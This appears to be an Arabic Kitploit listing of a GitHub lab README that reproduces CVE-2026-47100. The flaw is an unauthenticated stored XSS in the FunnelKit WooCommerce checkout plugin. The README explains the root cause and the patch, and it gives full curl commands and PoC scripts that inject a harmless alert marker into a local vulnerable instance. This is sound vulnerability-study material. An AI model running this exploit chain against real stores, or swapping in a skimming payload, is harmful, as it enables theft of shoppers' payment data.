Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-47100-Analysis-Lab — مختبر Docker محلي لإعادة إنتاج CVE-2026-47100، وهو ثغرة XSS مخزّنة غير مصادق عليها في FunnelKit لـ WooCommerce. يتضمن سكربتات PoC لمقارنة الإصدارات المعرضة للخطر والإصدارات المصحّحة. | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-47100-analysis-lab
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

مختبر Docker محلي لإعادة إنتاج CVE-2026-47100، وهو ثغرة XSS مخزّنة غير مصادق عليها في FunnelKit لـ WooCommerce. يتضمن سكربتات PoC لمقارنة الإصدارات المعرضة للخطر والإصدارات المصحّحة.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-47100 — مختبر XSS المخزّن لـ FunnelKit / Funnel Builder for WooCommerce Checkout

مختبر Docker محلي لإعادة إنتاج CVE-2026-47100 بأسلوب آمن وبأقل ضرر ممكن. يقارن هذا المختبر إصدار FunnelKit القابل للاستغلال بإصدار مُصحَّح ويتحقق من السلوك باستخدام علامة/تنبيه JavaScript غير ضار.


1. نظرة عامة

CVE-2026-47100 هي ثغرة فقدان تفويض (Missing Authorization) في Funnel Builder / FunnelKit for WooCommerce Checkout قبل الإصدار 3.15.0.3.

يسمح مسار AJAX الخاص بالدفع القابل للاستغلال لزائر غير مصادَق باستدعاء طريقة داخلية من المكوّن الإضافي وكتابة بيانات في إعداد السكربت الخارجي العام المدمج في FunnelKit. وبما أن هذا الإعداد يُعرض لاحقًا على صفحات الدفع الخاصة بـ FunnelKit، فإن المشكلة يمكن أن تتحول إلى XSS مخزّن بدون مصادقة على صفحات الدفع.

يعيد هذا المستودع إنتاج المشكلة محليًا باستخدام خدمتَي Docker:

الخدمةالإصدارURLالنتيجة المتوقعة
vuln3.15.0.2http://127.0.0.1:8081تأكيد السلوك القابل للاستغلال
patched3.15.0.3http://127.0.0.1:8082تم حظر الكتابة / لم يتم عرض العلامة

2. لقطة اكتشاف Vulnx

vulnx

اختيار CVE الأولي من مخرجات Vulnx. تم بناء المختبر وPoC يدويًا من خلال مقارنة السلوك القابل للاستغلال بالسلوك المُصحَّح.


3. الأثر

يمكن لمهاجم غير مصادَق إساءة استخدام مسار AJAX العام للدفع لتخزين JavaScript بشكل دائم في إعداد السكربت الخارجي العام الخاص بـ FunnelKit.

في متجر WooCommerce حقيقي، يمكن أن يسمح ذلك بتشغيل JavaScript خبيثة في متصفح المستخدمين الذين يزورون صفحة الدفع. وقد ربطت التقارير العامة هذا النوع من الثغرات بحملات سرقة بيانات الدفع (Checkout Skimming).

يستخدم هذا المختبر عمدًا علامة إثبات غير ضارة فقط:

root@kitploit:~
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. السبب الجذري

يقبل الإصدار القابل للاستغلال بيانات الدفع التي يتحكم بها المستخدم من نقطة نهاية WooCommerce AJAX العامة:

root@kitploit:~
/?wc-ajax=update_order_review

داخل مسار الدفع في FunnelKit، يمكن أن يتضمن الطلب:

root@kitploit:~
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

يتحقق المنطق القابل للاستغلال مما إذا كان اسم الإجراء المُقدَّم موجودًا كطريقة في الفئة (class method). إذا كانت الطريقة موجودة، فيمكن استدعاؤها من مسار الدفع العام.

السلوك القابل للاستغلال في صورة مبسطة:

root@kitploit:~
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

الإجراء المهم الذي يتحكم به المهاجم هو:

root@kitploit:~
update_global_settings_fields

تعمل هذه الطريقة على تحديث خيار WordPress:

root@kitploit:~
_wfacp_global_settings

وبالتحديد المفتاح المدمج في FunnelKit:

root@kitploit:~
wfacp_global_external_script

تتم لاحقًا قراءة القيمة المخزنة بواسطة قالب الدفع وعرضها على صفحة الدفع، مما يخلق حالة XSS المخزّن.

سلسلة الاستغلال:

root@kitploit:~
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS

5. ملخص التصحيح

يعزز الإصدار 3.15.0.3 المسار القابل للاستغلال بتغييرين مهمين.

5.1 قائمة السماح بالإجراءات العامة

يقيد الإصدار المُصحَّح إجراءات الدفع التي يمكن استدعاؤها من مسار الدفع العام.

السلوك المُصحَّح في صورة مبسطة:

root@kitploit:~
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

يمنع هذا الأساليب الداخلية العشوائية مثل update_global_settings_fields من أن يتم استدعاؤها بواسطة طلبات الدفع غير المصادَقة.

5.2 التحقق من الصلاحية قبل تحديث الإعدادات

يضيف الإصدار المُصحَّح أيضًا فحص تفويض قبل أن يمكن تحديث الإعدادات العامة:

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

هذا يعني أن إعداد السكربت الخارجي العام يجب أن يكون قابلاً للكتابة فقط من قبل المستخدمين الذين يمتلكون صلاحيات إدارة WooCommerce.


6. بنية المختبر

root@kitploit:~
host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

تنشئ عملية التهيئة (seed) ما يلي:

root@kitploit:~
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10

Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11

يستخدم المختبر رابط دفع حتميًا:

root@kitploit:~
/?post_type=wfacp_checkout&p=11

يؤدي هذا إلى تحميل المنشور المخصص لدفع FunnelKit بشكل صريح في مختبر Docker المحلي.


7. تشغيل المختبر

شغّل المختبر:

root@kitploit:~
docker compose up -d --build

تحقق من الخدمات:

root@kitploit:~
docker compose ps

الخدمات المتوقعة:

root@kitploit:~
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

ثبّت تبعيات Python:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. سكربتات PoC

8.1 PoC المختبر

poc/poc_lab.py هو PoC الحتمي للمختبر.

يفترض قيم التهيئة المحلية لـ Docker:

root@kitploit:~
product_id = 10
checkout_post_id = 11

شغّله ضد الخدمة القابلة للاستغلال:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8081

النتيجة المتوقعة:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

شغّله ضد الخدمة المُصحَّحة:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8082

النتيجة المتوقعة:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 أداة الاختبار الذاتي العامة المصرّح بها

poc/poc_check.py هي أداة اختبار ذاتي مصرّح بها وأكثر قابلية للنقل.

فحص سلبي فقط:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

فحص نشط مصرّح به:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

وضع العلامة فقط بدون تنبيه:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

محاولة التنظيف:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. الاختبار اليدوي

9.1 الخدمة القابلة للاستغلال

أنشئ جلسة WooCommerce جديدة وأضف منتج المختبر إلى السلة:

root@kitploit:~
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null

اجلب صفحة دفع FunnelKit واستخرج nonce الخاص بالدفع في WooCommerce:

root@kitploit:~
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"

أرسل طلب AJAX المخصص للدفع:

root@kitploit:~
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

تحقق من أنه تمت كتابة الخيار:

root@kitploit:~
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

النتيجة المتوقعة:

root@kitploit:~
{
  "wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
  "wfacp_checkout_global_css": ""
}

تحقق من عرض العلامة:

root@kitploit:~
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

افتح في المتصفح لرؤية التنبيه غير الضار:

root@kitploit:~
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11

9.2 الخدمة المُصحَّحة

كرر نفس الخطوات ضد المنفذ 8082:

root@kitploit:~
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
root@kitploit:~
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

تحقق من بقاء الخيار دون تغيير:

root@kitploit:~
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

النتيجة المتوقعة:

root@kitploit:~
[]

تحقق من عدم عرض العلامة:

root@kitploit:~
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

النتيجة المتوقعة: لا يوجد مخرجات.


10. ملخص الأدلة

تؤكد الخدمة القابلة للاستغلال وجود المشكلة عندما تتحقق جميع الشروط التالية:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True

تؤكد الخدمة المُصحَّحة نجاح الإصلاح عندما:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []

11. ملاحظات السلامة

هذا المستودع مخصص للبحث الأمني المحلي المصرّح به فقط.

النطاق المسموح:

root@kitploit:~
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test

غير مسموح:

root@kitploit:~
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores

يستخدم الـ PoC تنبيهًا وعلامة غير ضارين فقط.


12. المراجع

  • سجل CVE: https://www.cve.org/CVERecord?id=CVE-2026-47100
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47100
  • نشرة VulnCheck: https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax
  • أبحاث Sansec: https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited
  • مجموعة التغييرات على WordPress Trac: https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php
تنزيل الأداة